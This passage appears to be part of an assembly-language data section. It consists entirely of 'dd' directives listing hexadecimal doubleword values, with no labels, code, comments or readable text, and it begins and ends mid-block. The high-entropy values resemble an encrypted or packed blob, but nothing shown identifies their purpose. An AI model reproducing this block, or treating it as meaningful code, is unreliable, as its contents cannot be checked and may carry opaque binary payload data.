388BA0B7h, 80EF4B60h, 275F1D16h dd 4E0C3360h, 2F3E1B77h, 1F6FAE9h, 0F7C71E89h, 0ECFF6AE6h dd 64A9CA44h, 842FDD68h, 1053B31h, 481821A3h, 0A6FB1D09h dd 164BFCB6h, 0CCE924D0h, 0F012B8A0h, 0D84C0266h, 0C560262Ch dd 0E53980A1h, 91ED876Eh, 0AB2A62E9h, 6140758Eh, 0F5315E3Ch dd 4C69DFCEh, 48AADC81h, 0E972F804h, 39B4860Eh, 37190092h dd 6568BA1Ch, 312B3FD7h, 5025DCC2h, 30F895D8h, 4897CA05h dd 0C722FDh, 0A5E2AF0h, 0F8298001h, 33B95107h, 127FA161h dd 0ECF87B1Ah, 1B2021A4h, 5EE3A7B9h, 71AC58A0h, 0F489C5Ch dd 417D40CEh, 8EEC126h, 6A030698h, 0D5272DD4h, 0CB717839h dd 2EE63DC0h, 2CA3E520h, 274FD701h, 12AA7D52h, 500B2FC7h dd 0BE0F0854h, 2F75F8A5h, 9FFEE6D4h, 6836E069h, 8C634F2Ch dd 5F392E8h, 3502DCB9h, 5677101Ch, 692A607Fh, 21499245h dd 548E2FC6h, 9ABF938Bh, 0D30C3FB1h, 39D38192h, 803B7B3Bh dd 48011B94h, 94BB0E02h, 7C4B4743h, 0BA583B1Bh, 8F44AF07h dd 0F2DEA559h, 0D892C934h, 46129F31h, 17CCFCC0h, 800F0DD3h dd 6DDDF7B6h, 1010E26Ah, 14BC58Eh, 0A4631A26h, 0E1F26B3Dh dd 130FF2CAh, 0ED171358h, 57A75069h, 23BC389Fh, 0EE59C0DCh dd 51D12891h, 20DADC9Dh, 0CE3B508h, 5CC25F03h, 58CDBF02h dd 8B124032h, 3B54A07Fh, 2EC715Eh, 74C017A4h, 0A649BFABh dd 69C7D29Bh, 44DCE11Eh, 4ED7AF3Dh, 0E659B586h, 0B8B802C4h dd 0AA4C389h, 712CF458h, 7FB8DE4Fh, 0B96B5DC4h, 0B3B77D58h dd 74FBF25Eh, 0D6F7438Dh, 0CDE10B4Ah, 0E9123462h, 5033A0AFh dd 0F7539AB5h, 8E1CB560h, 5FE10FCBh, 68041416h, 25287708h dd 46646180h, 72175807h, 487F7F76h, 9251F42Eh, 0BE2C132Ah dd 5C2F89CEh, 7F361948h, 0E915580Bh, 49D4AF02h, 1118F70Ah dd 4086BA52h, 0EABC5A54h, 2564C55Ah, 5C510DF4h, 0DB181E26h dd 0EB800A23h, 0EF061867h, 0FE1DD60Eh, 43BB0677h, 98F5C2CCh dd 4EAE68C4h, 5C64DC33h, 0F58982E7h, 401F4E8Ah, 82724C5Ah dd 4AE444FFh, 0DE06F876h, 0F902E70Bh, 81974244h, 17ACFEDCh dd 27916608h, 0DFA57C7Eh, 0E02F8914h, 62C8FEC6h, 54E9661Fh dd 0C3CDFC30h, 2D1F5C9Ah, 8B95456Ch, 4BA012C2h, 0E93E3CBEh dd 91C8EC2Ch, 645DD3C0h, 0C1295A23h, 118A2C0h, 992869B1h dd 5C9AAF92h, 0A7C38815h, 0EA02F384h, 680979DAh, 42F114D3h dd 29052FB7h, 0DBBF9CBFh, 524BD49Fh, 69A6D954h, 1E7FC500h dd 65E0C16Eh, 0F8050603h, 0EF829DA7h, 8065CF56h, 1F2D07BCh dd 888E4A9Fh, 0E04B0D67h, 17ABE675h, 3D60AE86h, 503ABDE9h dd 5F35C426h, 5148E3D5h, 1A57EEECh, 0E4D2AE95h, 7E00B3Bh dd 0B81D3939h, 7974B75Ch, 0E8784A58h, 32EF4F5Bh, 0A4F469CDh dd 6FDAFC2Fh, 35E01669h, 471349BEh, 0F8F1105Eh, 56A04128h dd 400247BEh, 7DE909C9h, 6488F483h, 8E380414h, 86685100h dd 0B1A6B81Ah, 0AF638382h, 0E2B02EAAh, 0DD6737DCh, 3F87C5CCh dd 9EBAF64h, 95F89B9h, 0BC30DD6Ah, 1CF0D821h, 2D106CB7h dd 0FBED5E54h, 277ACD08h, 0D32DE250h, 0C218D4A3h, 0C5F51CE0h dd 5DEA09ACh, 0D0C9ED71h, 1E8F201Fh, 0D45EE92Fh, 2BDC2DE3h dd 9A983058h, 94CB261Eh, 21CC3C16h, 0A0168C3Fh, 1AF9D071h dd 18018713h, 2ABAE681h, 803B2DD3h, 44662BB3h, 340C4B60h dd 9043C764h, 6B876B8Eh, 680C9B02h, 0F8C51CE9h, 46970D81h dd 0DB42F310h, 0C134CE01h, 0DA371B50h, 470C813Eh, 460E9C1Eh dd 0CED430h, 213DF95Ah, 0F3B4E9FEh, 608B2981h, 0EE54B53Ch dd 4625F462h, 80D37A07h, 739DC1A9h, 0DCFCAF22h, 0A8645FD2h dd 69398D6Eh, 25BA0FE7h, 39EF9196h, 0BC1E8B1Eh, 0C1999BDFh dd 0F77A32AAh, 71B016A0h, 0AFF4CBACh, 56F0B564h, 886F05B2h dd 0BF305AD5h, 0D03D77CBh, 50663485h, 0C8E505B0h, 2A7CDDC0h dd 0A7F75B04h, 9AF35E09h, 42AA1E92h, 0B96850EDh, 6E257476h dd 62739FD9h, 5E1A6805h, 92C4A4FCh, 0C6D1F852h, 57FCF49h dd 875A5EF7h, 1C8EBF3Ch, 0FD3BB04h, 320DEE32h, 0EC610DCFh dd 0BF939020h, 9910DCA5h, 0E2205EBh, 7010D92Ah, 0E827EA77h dd 32BE68EDh, 6A873B2Eh, 0C1F8F702h, 7E69BA9Ch, 0A394FBE9h dd 0A3974E84h, 67B17ED4h, 4C6C1260h, 7A4CBB40h, 0B82F604Eh dd 0FE2625BAh, 77A8CD18h, 4D1DD296h, 0D8F3ED46h, 48E5F8B4h dd 28A11BC5h, 17A862D3h, 28BC1A4Dh, 0EA2674C1h, 1843D3Ch dd 4C2D33E1h, 842BF6E9h, 4577FA7Ah, 0D5074BD2h, 0C1D0B91Ah dd 17353298h, 17805FF7h, 7C5FA745h, 96B7495Eh, 13A75728h dd 0FA2EEE1Eh, 47A398D5h, 743BE783h, 67E972F8h, 0F788C540h dd 0E93BFAC9h, 0ACAA7923h, 208B4E5Fh, 5A65EA73h, 0A19A6724h dd 0AB64317Fh, 0C01BE273h, 6A98360Dh, 0BD6AF109h, 9A61DDD0h dd 67F5DA05h, 0A30F897Fh, 0BFA8E510h, 96535D80h, 0F8CDCF7Ch dd 42E26AC9h, 5C59825Eh, 0F7A7E465h, 88914018h, 0F2ADA7DDh dd 0BEE6F633h, 0EAA82FD8h, 46050BDAh, 0F2E263D6h, 0D9D54827h dd 4CBE092Ah, 8CB1DF89h, 1665E2F7h, 3CCE986h, 7B5AB562h dd 2B9C392Ch, 5B555942h, 58562404h, 29C1CE9h, 9980D725h dd 42BD3C7Eh, 6B748C90h, 13052CC0h, 96639837h, 5D6C58D6h dd 7D67ED27h, 52006F96h, 0EB120CBAh, 96D0016Fh, 7160529Bh dd 2F057516h, 0D753E90Ch, 0EFB334BEh, 8B810C0h, 229CBD01h dd 5D58FA94h, 252A4A2h, 4B921837h, 0E921F201h, 8100A0AEh dd 481767E3h, 7004686Dh, 0A3EFD2A1h, 5B0B936Ah, 9418571Fh dd 0D4B17FCFh, 0E173826Dh, 6DDF2D78h, 0BB2FEC46h, 0AD91E547h dd 0E90411DCh, 0A6AC96CAh, 810B22DCh, 80477EC1h, 0E9D129D0h dd 1B02607Bh, 43108CF2h, 42313C2Fh, 0A6B6DDB1h, 43F94738h dd 6EEC4C10h, 66C217AEh, 2734FD50h, 0BDF9169Fh, 83C2DA59h dd 2696DD7Eh, 0C26CE917h, 0E9EF68BBh, 0EACD4325h, 0B689FF2Ah dd 0F9022F72h, 29BA3F14h, 68525FD3h, 0D4C15F4Bh, 0A62A46C3h dd 2CB15E1Ah, 0BF22C93Eh, 6BF58184h, 3DE97F70h, 0B83FD965h dd 600B96BAh, 0F18FF44Fh, 95E91002h, 2AF2B397h, 75A1033Dh dd 0EED141A2h, 0C9802BEFh, 0FA3978CEh, 0EAE94A09h, 0BDBCF4D7h dd 0C901F9D6h, 2945A369h, 698E2B4Ch, 443FE912h, 81295A23h dd 222A71Bh, 0D2A2575Bh, 0B3AB2h, 0F6CC880Ch, 0B42F90D4h dd 0F1531478h, 0F73F6804h, 0D1B6814Eh, 5FB670E8h, 180F1405h dd 19E09EE9h, 0CA0C5A33h, 73451327h, 0D5818E7h, 5061CF84h dd 255431BBh, 6A79E9h, 1AE3B938h, 0F0BD7C1Eh, 564301B5h dd 0C9E0EEBEh, 22F3E964h, 0D75F13D6h, 256CABEh, 5A067905h dd 5317C048h, 0E908A0BBh, 0E73D4EA5h, 0B1B940E1h, 48C13F40h dd 0D73F28EFh, 1C717h, 0F1DCEC13h, 4459E9BBh, 3CA85906h dd 0F4379226h, 1648DEA3h, 0F5E54A70h, 6B16AF05h, 0C9254854h dd 4EA5AE10h, 250B76B0h, 70FE0121h, 6F2F9F00h, 0B5555647h dd 0B796B650h, 5A0A512Fh, 0EB6EC1h, 0EE6D15Ah, 814ED6F7h dd 0E63A62A7h, 0EB127050h dd 8A04700Dh, 44BB5EF2h, 0A9D2E9A8h, 3EF502EAh, 6057941Eh dd 50E4DCADh, 0C5E88609h, 22671BBCh, 7DE10895h, 5ABC2F07h dd 80E4129Bh, 2FEDFB21h, 7831782Fh, 8209E4DFh, 16127B68h dd 6BA0B0A8h, 0C6CA230h, 4F5344F1h, 33718820h, 8277CF4Ah dd 547056B2h, 0E7F45015h, 8824B9B1h, 38465246h, 0EF7005BBh dd 3E679E7Fh, 26BC5A8Fh, 2BB98A1h, 0E80FC02Ch, 0F8B27552h dd 0C74452C1h, 9576E894h, 0E94109D9h, 0C27512B4h, 5CC7A31h dd 2D417CB2h, 42C7B6F7h, 0FE8A2D3Eh, 0BF531899h, 0CBE071BAh dd 0DA2D0F00h, 29786A24h, 829290D0h, 9475608h, 0E820F3E9h dd 2B21E705h, 57C5A9BFh, 691C9522h, 5AF33001h, 0B40F26Ah dd 5FD5F75Eh, 95335F24h, 4081AF2Ah, 0E4282B9Fh, 11B208C6h dd 2958C603h, 0E2F287D6h, 48B44ABEh, 2F174C26h, 8F716DD1h dd 0D5A7A062h, 80C6E7A4h, 0D929F640h, 930E6B3Fh, 0BE53A73h dd 0F7184878h, 2EB6548Eh, 484ED516h, 0C09013BEh, 0E7EF052Ch dd 0D723A625h, 51F8BD21h, 2FC06A76h, 7FBC064Fh, 806DBA7Bh dd 5C87E908h, 52C00FA8h, 440EF868h, 605A6325h, 4AE64B91h dd 2FEBC1Eh, 21E9E2D1h, 5698FF8Fh, 0DFA6B27Eh, 2AC8CA83h dd 0C6907C5Eh, 0EF5B95h, 9BAB3F50h, 0CC4FD3E9h, 656C68D0h dd 82525BDCh, 0A0E75866h, 68C15FA4h, 0CA580A52h, 41CE4E5Eh dd 0A416F0D7h, 89E52047h, 1904421Dh, 817ED80h, 27E9116Bh dd 44F19318h, 3EFBAB88h, 0DF761DADh, 5A32EB81h, 942A1CF8h dd 59080A4Fh, 482C038Eh, 1A172B76h, 0C8064DE0h, 803AFB29h dd 138B5F08h, 0A096E903h, 32E2BDF6h, 687BFE09h, 3DB6EC7Ch dd 1E277FF0h, 41BF2277h, 0F6BB00E2h, 2B015228h, 95BDE31h dd 0DB355EF7h, 2FE2020h, 29B51F0Ah, 0C4745FFDh, 3D727482h dd 5AF4744Ch, 0B11247D5h, 3F30E92Dh, 0B45B72FDh, 0E82C68BAh dd 63C0CC3Eh, 95668469h, 0C90AF150h, 0DB1A4E9Ah, 85B3E900h dd 5B297DC0h, 0F660AFCBh, 485A38F4h, 0C100467Fh, 0E9DEA529h dd 8780AA80h, 96A898DFh, 3061631h, 1BC74066h, 526FEF00h dd 0DF292CF9h, 16D45DE9h, 3CD19D77h, 0EBBD55C0h, 0C564481Fh dd 58FBED02h, 0F5415319h, 70944003h, 5139C50h, 5BBCA8E9h dd 2F55212Fh, 0F4C56674h, 0C6CF4EF7h, 597E6989h, 44F1264Eh dd 494712AFh, 8BB14EBBh, 0E94F1862h, 0A2AAA444h, 0A2578B2Ch dd 0E1DBF764h, 8C6FBF41h, 0F4C4DC2h, 7768A0A3h, 61EBF5Ah dd 96D8659Dh, 0C66CE25Fh, 45D6586h, 0A4256DC2h, 0C1908396h dd 4CED1703h, 0B75FA19h, 0B809530Ch, 0D0FD3F84h, 20EA7255h dd 1F132D48h, 0C556D832h, 34C08904h, 0ACD70EADh, 993A1C6h dd 59F55C02h, 6ADE005Fh, 68580B71h, 0C6140325h, 36E4F2Fh dd 4AABBA51h, 49D716F2h, 0F2359992h, 0C2EB0644h, 0FD80637Eh dd 27FB2A7h, 1FD5FCB5h, 0A89E7AFEh, 0C665810h, 0EF245375h dd 7772A228h, 3197BB98h, 20E18BA8h, 0FAF6114h, 0AC930583h dd 5DF8908Bh, 32CA3112h, 2BD07D1Eh, 58C87695h, 23F87B5Eh dd 80C4BA2h, 5913C41Ch, 4DCA5FB4h, 0B5680761h, 0A8E35139h dd 0D6B43DB8h, 1EA4BAEh, 0CD28C7Dh, 382C483Ch, 0D38B2F17h dd 0F5C21FA7h, 8B44C58h, 21225F6Bh, 0B0D7B787h, 97BBF84Ah dd 0B14EF859h, 1E48B11Ah, 36EFD180h, 707CA96Fh, 18B33B31h dd 993F555Eh, 0EC8EF8E9h, 0BC1D6895h, 8DB9BDBh, 5012DA66h dd 2F0D3A80h, 0E93D44CCh, 0CF774B24h, 3742575Ah, 5C8F261h dd 40265F01h, 22EC12DDh, 0EA16D385h, 0F7BE8F09h, 95E5D385h dd 0DC9EAFC9h, 12F2513Eh, 313E8068h, 0F3D38871h, 0E1A8DC9Bh dd 0CCF25B58h, 7481E92Dh, 0FBF281C6h, 20394707h, 267769B6h dd 0D721D612h, 0EFC3ADB2h, 2B90500Ch, 4A905D57h, 0F11C10Eh dd 8CE92568h, 0D8675DD4h, 7BD2EDB5h, 0CFA76057h, 116E0048h dd 656CB81h, 0CC0621Dh, 642D7BC5h, 9DE37BC1h, 0E1DBE8A7h dd 0C54015F3h, 16846BFEh, 7FE974C1h, 2832052Fh, 52F500CBh dd 0B15158B2h, 0F180B905h, 0C2AF3045h, 4550EB68h, 0A6856DB5h dd 52422FCBh, 25B447DDh, 0E557A98Bh, 467BEBD9h, 97CBE88h dd 45A2895Bh, 98DA7A82h, 9FC99226h, 236E038Ah, 1EEE50A5h dd 60088736h, 0EA4F3E20h, 0E1B65107h, 2742F63Eh, 2E198F37h dd 0F04A2A59h, 92E51E01h, 413F2908h, 97017EA3h, 6BE90030h dd 7348B707h, 51B05995h, 0D6CD9F6h, 0F445617h, 5D5A1862h dd 0AFCD38A6h, 590FC225h, 351D899Bh, 5FE0BB5Bh, 4895E955h dd 9EDE8F9Ch, 58539251h, 50EC38E9h, 0BF742501h, 2E2C4CD7h dd 0BEDD5060h, 4C5572A6h, 0C20CD956h, 13E228A0h, 63E35C29h dd 8E627202h, 8405B31h, 0A7273315h, 0AD3C979h, 3DBFC774h dd 4F801A2h, 1D4FF1B9h, 0C781BA89h, 36F46856h, 5E46275Dh dd 6CDF1A42h, 44D70CF4h, 4CCA5129h, 4EA34F14h, 86A97BA9h dd 2CF62EDFh, 0CABE5610h, 6D638427h, 0AF6FCA30h, 5894C9DEh dd 46B9027Ch, 49245171h, 0ABEA81E3h, 0BE018F76h, 21503553h dd 0F334E0E9h, 0B9660751h, 5157318Ah, 0FD6FE6BFh, 77162AA4h dd 0EB01278Bh, 0E9FF10CFh, 25126AF0h, 0D90D072Dh, 6C4E413Ah dd 6A258506h, 0B9519F30h, 0F12102FDh, 910FE929h, 8157EEDFh dd 8D2E4DD5h, 0ACBAE4F3h, 4F2FA083h, 0B04D5A19h, 0A25615D6h dd 3A247B5Ah, 9BD496Ah, 7E6B6454h, 511701E1h, 2B31239Ch dd 22564EDh, 0ED8070A1h, 59E8C0C3h, 0D868660Eh, 6E2951Dh dd 0BE32E952h, 30C177DFh, 310EFCC8h, 5ABE59CFh, 0C7185F25h dd 4CBDF646h, 37813431h, 0BF8C84AFh, 0F1FBEEC4h, 1C080695h dd 22659B04h, 5805213h, 9C4ABBh, 1EE8341h, 26EFCE81h, 4E697A0Ch dd 17A02251h, 0B13185Ah, 0C756F5C2h, 0F1F65CE1h, 16EBB27Eh dd 8D5FDDh, 4B2DCF6Bh, 0AAF597A2h, 0B7012ACFh, 0BD29B332h dd 1EA2E79Eh, 3A1EF8F5h, 8A0BE8CDh, 2005225h, 4C675642h dd 0C563BA04h, 3FCD24Fh, 0D95AE909h, 20164475h, 0F705E1F2h dd 265568F9h, 795AB644h, 2F85FBEDh, 0E6475A7Ah, 798DCDC8h dd 0A5DA999Dh, 5D260A7Bh, 6C5001BDh, 604B6DD2h, 9AF26234h dd 9821A420h, 0C1775AFBh, 3F6C2961h, 2B8191FCh, 780EEA38h dd 0C94A7E9h, 0EEBA2D04h, 3EED529Ch, 11B0494Fh, 5441770Ch dd 10FE394Fh, 0C6808FAh, 0DAE91F14h, 0AB0048EFh, 0C11CF705h dd 7704ED27h, 3E62D618h, 29590814h, 444D30B9h, 60AC418Bh dd 11676CC0h, 1AC06F6Dh, 7774CBF5h, 0C2314BE2h, 0E921B18Fh dd 8D6B2C4Ah, 2F67E586h, 64886DA8h, 37166885h, 52531541h dd 0C47BC288h, 3DFFE9h, 0B5535BC8h, 3CC72FCEh, 0DD6281BAh dd 97F7601h, 2379933Dh, 0A2271C90h, 0BDA29950h, 0DE7E84h dd 0DC284AB8h, 45EBD50h, 0E1425400h, 4AC70186h, 0D6CEA58h dd 3F68125Ch, 4C9EB32Ch, 0F0106C03h, 0CC6E95F4h, 0E9F5549Dh dd 6800A116h, 5CE84584h, 54CDE95Eh, 0B1969B39h, 0DA4909E0h dd 3662B25Eh, 0C26605F0h, 0C75D0383h, 3F7F3FCEh, 0BD8F551Eh dd 0F7273983h, 0CF8CADDh, 9F226C7Ch, 0E801F0EBh, 0ECF05FEh dd 0F029865Dh, 32F93F1Eh, 41F3A0D0h, 9AE06B64h, 0F9BD7D94h dd 16CEFA20h, 0BA3D9228h, 2F14C31Fh, 0A6872D55h, 0F31D5Fh dd 7B61EBB9h, 0C0F18127h, 5F625C05h, 43BEE9D1h, 19C973ACh dd 9D622992h, 26297077h, 0E2E35DEEh, 10B37D4h, 0C83006DFh dd 510A622h, 685009FDh, 899C55F2h, 639185FAh, 1284AC17h dd 4F4501EAh dd 202F213Ch, 2C1292F8h, 50EE6D93h, 5E300822h, 6B79AE2Ah dd 0E6001E7Dh, 110F57C1h, 12BD5546h, 0B9B305Ah, 2F505FC8h dd 382872F3h, 15A69373h, 0C5710E30h, 0A110A022h, 0B339FC3Bh dd 9FB218Bh, 78A3CA9Ch, 0DEC150E3h, 64EF05B4h, 0DCE4BFFFh dd 0A2862DE9h, 3A05FA69h, 9FA3B95h, 52F464D6h, 0BAC6E178h dd 96F3049Eh, 0FB353193h, 7548031Ah, 0ECF4D2B2h, 4F50E9F0h dd 0EB143590h, 0F4AECA85h, 0B041BADBh, 0F988297Fh, 557B2410h dd 0C0D9544Ah, 0F2EE6144h, 59E983FEh, 0F6BD03F1h, 6A3138B0h dd 0BAD08ADAh, 80C2FE04h, 0F6C22FCAh, 68AD0091h, 2FB6567Fh dd 7114BA60h, 952A796Ah, 2CF08541h, 0E8E9C5CEh, 395F25ACh dd 36DAF8DBh, 947C18B7h, 0BCA513D9h, 0B5C8E829h, 17A346E4h dd 0B016CE19h, 4A5B9ACBh, 4EDC4DA0h, 68C58C3Ah, 0F3305B31h dd 0BA341150h, 1D597CECh, 9283CCFEh, 0E3C8AF02h, 0F989974Eh dd 0EBC54707h, 0C9FEAF46h, 0ED41FB4Fh, 13251D20h, 404B8D3Bh dd 0FBA6E0CDh, 0CB01EC13h, 56A1D013h, 514DD3Eh, 0BD5B7F4h dd 0DA5FADE9h, 7622C31h, 7CB262BEh, 6AC84741h, 9FEF6024h dd 0A8D84A0Ah, 90944FF8h, 0E7371E17h, 0BE594930h, 0F5EE3C4Dh dd 7F8D0C82h, 49DD3E3Bh, 7DF4F1A4h, 0C8F1A0D3h, 7B059h dd 0E3F83504h, 0C5318F32h, 0C0EDE913h, 6B574ADCh, 0E920BAF7h dd 176A38DEh, 40D73125h, 80FCEA30h, 4727685Fh, 7575E66Bh dd 1FE9DD0h, 7EE95A58h, 0CC1A9523h, 0D53ACE22h, 0D06A2907h dd 5007C82Dh, 6C020FB8h, 61A43133h, 5935AB93h, 0FCB821AFh dd 0DF317F66h, 0BE061748h, 0D83AD60Bh, 6AB7046h, 0E2EBF57h dd 59F08ED9h, 70C58080h, 0E9E575EDh, 5B8858D4h, 80212CEEh dd 6636C600h, 0E90DC968h, 0B4C05B57h, 0EF69ABAEh, 2BCFA2A1h dd 0BFA7A052h, 3934731h, 0F0E7810Eh, 0ABFD1511h, 0BEEFE200h dd 7F339109h, 127BF447h, 0C09CA1D9h, 283C68AEh, 432D0392h dd 5033DCBEh, 0AC0E687h, 0AF704E0Dh, 3244BE19h, 3070506h dd 7FA2AB4Eh, 945413CBh, 77658AE2h, 3FECC549h, 0AFD6F616h dd 5AB11F01h, 0A630CE28h, 0CFE459DEh, 0F72584h, 731B97B9h dd 3C419017h, 6BA52A61h, 1244D58Fh, 48ED8727h, 0E38B4F1Dh dd 4BC4FEC7h, 9D955E3h, 1211222Dh, 1DA8BD34h, 5622A4A4h dd 0F00D5CBDh, 0FE5038E9h, 0B1594C27h, 34E14A7Dh, 7142E07Fh dd 9360745Fh, 79A9282Eh, 0E9F21669h, 0B046B02Ah, 20B1D41Eh dd 3360FD4Ch, 5D523CDAh, 0D094E793h, 546FF590h, 1CAA654Eh dd 56A9C3E5h, 124176A5h, 0EB0805D8h, 56EF59C2h, 71044FF5h dd 0B630BFE4h, 5A4C4067h, 4DC8CB0Dh, 68E007A1h, 4C1401C2h dd 0C41C3A3h, 840BFD6Eh, 88885C28h, 49340303h, 1EA836Ah dd 812745F1h, 44DCC25Dh, 0E2D8F080h, 8D181F32h, 6BF20255h dd 8CE0AC09h, 331BB8CAh, 0D830064Ch, 0B7E813C4h, 0C5757C89h dd 92D7A531h, 147E54D6h, 0A01F9A53h, 176D31Fh, 6E4D58D6h dd 0E3EDD8AEh, 3BDC3A18h, 14CDEF18h, 0AC8916E4h, 0EEDA0117h dd 7EE96D2Ch, 0BE0CC67Eh, 581A8863h, 400B64B9h, 95B1428h dd 0F1294CDDh, 25085408h, 0F59AE468h, 0C9365E81h, 0CEE942C1h dd 0CA660208h, 5D0440A3h, 3E43B14Fh, 0D116BB06h, 395D9651h dd 9E045A66h, 1E16941Ah, 0A04625F9h, 4234749Dh, 0C57DF27Ah dd 160C1423h, 0D3E4E912h, 54C11CA4h, 65AD6A06h, 1DEDF78h dd 13216F2h, 841771CEh, 49A76879h, 0D0FEF692h, 0C05C09EEh dd 19DF07E3h, 0EB658C4Bh, 0D0E8B06Eh, 2EB3905h, 43C0555Ah dd 76B6244h, 0CF41BD11h, 0FB29652Dh, 0E82AEF81h, 14060500h dd 126EE05h, 70E2DF0h, 20EAD25Eh, 0DF125FC3h, 9DA8324Eh dd 6BE90740h, 8889DF27h, 4FD54075h, 0A7D4D26h, 0BE0FEA34h dd 0EEF27CDCh, 0D32250Eh, 12381643h, 14A2011Eh, 10363E9h dd 0D384507Ch, 532109D9h, 3811E89h, 4E552C9Ah, 3E34F007h dd 0C9C07728h, 9E674A3h, 0F42CE962h, 5565EA56h, 0D94BF2F1h dd 0BAA7583Fh, 192D40FEh, 381D349Fh, 48390075h, 8DBA734Ch dd 3C4B2714h, 1C251270h, 0CC90FDD4h, 3D12057Ah, 0FDBC5A6Ah dd 39960193h, 0EF0CBB1Fh, 0BD019B9Ah, 42F41648h, 0BAE84F29h dd 1207D676h, 20699DE9h, 0F681017Ah, 0E83F9418h, 506ED0Ch dd 0E9462277h, 0CB38A440h, 165E7A0Fh, 0C288692Bh, 0F267D583h dd 4E813995h, 760D29EBh, 2766112Ah, 885EA469h, 82417550h dd 17901270h, 59719FFCh, 38BBBA04h, 0B08249CCh, 26FC63E9h dd 2D7CD12Bh, 24E9B2CBh, 341734A9h, 72060D1Eh, 44D5CB8Bh dd 0FE594F1Ch, 6FF4A24h, 9B9D93A6h, 3E2DCFBh, 5B3799B7h dd 12C21720h, 0A5F2F1Eh, 1D503C9h, 50A24422h, 0B3C02F41h dd 98BB439Fh, 76070995h, 15826A8Ah, 115BD9D6h, 0DE0F5C96h dd 56C84B18h, 0F054C22Ah, 2934BB00h, 267B7338h, 24345BDAh dd 0C10B20CBh, 0A31C0E0Ch, 40FA596Dh, 5A35C7A2h, 46ED795Fh dd 0A9280841h, 8007C320h, 662CE6F6h, 1BCC8BAFh, 5C99C2DCh dd 0AB5C1287h, 90502B88h, 758F5F8Eh, 6E530B08h, 57E021DCh dd 0B4365668h, 28AF609Ah, 0BF1C2DC3h, 0DC7DF83Ah, 3EF50191h dd 0C6E934C5h, 0D83F5635h, 524FC1E9h, 0FA000CDDh, 8E07EF1h dd 0ECF4E916h, 0FFF10118h, 22BF096Fh, 0E755048Bh, 8F5CA578h dd 5DE64959h, 50155C7h, 464A0F4Bh, 763A16Ah, 0D31EC707h dd 0FC923FE9h, 7051FEC9h, 2D80E57Bh, 540F25DEh, 75001956h dd 49182A34h, 0B9D99741h, 0EE8C5F1Dh, 5A5E0C6Ch, 0A598B89h dd 0DDE6A9E9h, 0C8E0E9A8h, 38E078BFh, 95709978h, 175342DCh dd 4CACFDD7h, 629CDFFFh, 4161645Eh, 0CA6BDD92h, 74C302E0h dd 0DD58BF15h, 8803650h, 27665768h, 4BC7CF99h, 2A68A142h dd 96CD3AC5h, 0E5714BCBh, 8612CFCBh, 0AAD17AD9h, 75818B87h dd 0A5526AF2h, 93D64047h, 975FFD75h, 8C020912h, 0D76F430Fh dd 3E070108h, 0A547D907h, 21E4A063h, 570071F5h, 0A96B83BFh dd 97EFD164h, 0D102748Bh, 0B9D6CE76h, 9FC4F192h, 816EF82Dh dd 493327Eh, 46D3E4ABh, 0F735B4B2h, 0C4AB20D2h, 4C92F611h dd 4E4B1CAEh, 0DC3BF525h, 0A198FEC5h, 5CA227E9h, 6E9AA848h dd 8D6D58h, 6A37C9F6h, 504FE911h, 0E01177h, 4662ED0Fh dd 0D106E6C1h, 471F20E7h, 3ED2DF82h, 0EE54AFA2h, 0AE05A5A0h dd 5D25893Bh, 0B85A820Eh, 0F6850ABh, 6A493551h, 372BDA86h dd 0B626D677h, 3844FDA8h, 8A040CBCh, 0B243B70Fh, 8E745BA0h dd 0C65305BEh, 0A8EF56BCh, 0C616D2D7h, 692F86B1h, 0BD0FE89h dd 66EE5C5Bh, 0CBB02CB7h, 5DE81C79h, 0BCEDC895h, 4409F80Bh dd 203F68F5h, 5391E52Ch, 645ADDC1h, 0BAFC52FDh, 0A13F5BC9h dd 0AC2FF703h, 4E0DDC6Ch, 0BEF9C8AAh, 901D8E17h, 82780466h dd 0DD010614h, 0A35C84DDh, 49FD5A09h, 5D6F809Dh, 836B27B7h dd 8F92404Eh, 0FCC17F5Eh, 21845534h, 945C1h, 9D419E68h dd 0DD7A8F71h, 0E9065145h, 80832ADFh, 0FA08E298h, 267CBD35h dd 3C0F245Ah, 0C804AB74h, 931760A4h, 0E5D95209h, 13773E2Bh dd 3584EB2h, 9CB9EDD1h, 2D3D7BAAh, 4EE80635h, 5BCFB0A8h dd 0D360106Dh, 0E33FD1Dh, 5BECDD29h, 0F8B6D50Ah, 82E91A31h dd 42604065h, 5ACB7286h, 0F433C3DEh, 0E38C6E97h, 5725E91Ch dd 7324FE93h, 88DD89F2h, 0E9D8AC24h, 0C83854A1h, 857D1279h dd 0F1760045h, 0D4F1A4Ah, 13E9490Ch, 0EDAC24A4h, 0DA8FB328h dd 0A8F420A9h, 0E3A7DB2Dh dd 1D00CF61h, 742211EDh, 0FAEB892Ch, 28524F42h, 0BD0455DDh dd 7EC974F8h, 797C71C0h, 6B204CA8h, 7C45D125h, 0DC0F193Eh dd 0E16E65F7h, 92087984h, 0F230D2ACh, 0F5805BB1h, 2AD4F848h dd 652580BBh, 0C988185Ah, 6A582B4h, 0D360BA53h, 204FF02Dh dd 369005FFh, 0CE2CA72Fh, 93B80944h, 1158F811h, 0AC60E978h dd 4161C7EFh, 27147B32h, 1157F4F0h, 3475BD99h, 1812AC6Ah dd 0C6375F0Ah, 0FB3116CBh, 0F117EB01h, 5E3D6CE3h, 2D7D771Ch dd 0F5A0D74h, 61EAF3C2h, 9DA951E9h, 997B5D78h, 4720B1ADh dd 6BFC66Eh, 3D2A027Ch, 74789181h, 0C186D19Dh, 905358C3h dd 0B90CFC64h, 810C64EFh, 9B15C105h, 9DE8FF03h, 0E4602862h dd 0C0F7F175h, 59CF32F1h, 9F02E919h, 0B7D85D1Ah, 0AD32C9C8h dd 12EF5A04h, 2984B0E9h, 3FD7CFC8h, 6CF8DF0Ch, 369055ACh dd 1B71A00Eh, 5F0CD33Bh, 0EEF3E391h, 0CCA64AF7h, 10554F07h dd 0AF7FF8B7h, 0BBF159C0h, 0F62F5750h, 99D753ACh, 0A578522Dh dd 9352B40h, 6CD95A70h, 3F03E306h, 1F82C505h, 97C13F14h dd 65079A51h, 0DB2DBE89h, 4727803Fh, 0E91A6D3Ch, 562F157Ch dd 20ADBE1Dh, 804C127Fh, 4C308156h, 63872624h, 0B7DD0921h dd 23A347Fh, 4CB1EA81h, 28D72D29h, 0E9040846h, 8CBF6D74h dd 0AA5E6424h, 12FBCF9h, 4DAE4D01h, 10B13936h, 0A44AB7E1h dd 0A44F8EFAh, 0EA84CEB9h, 0AE081316h, 0E1173D44h, 124CF346h dd 60BB3E31h, 0B6FAE9A4h, 95EC52BAh, 0BD571940h, 0F709BC53h dd 0DA8E095Eh, 0F252BDC3h, 18EC1820h, 7F574D68h, 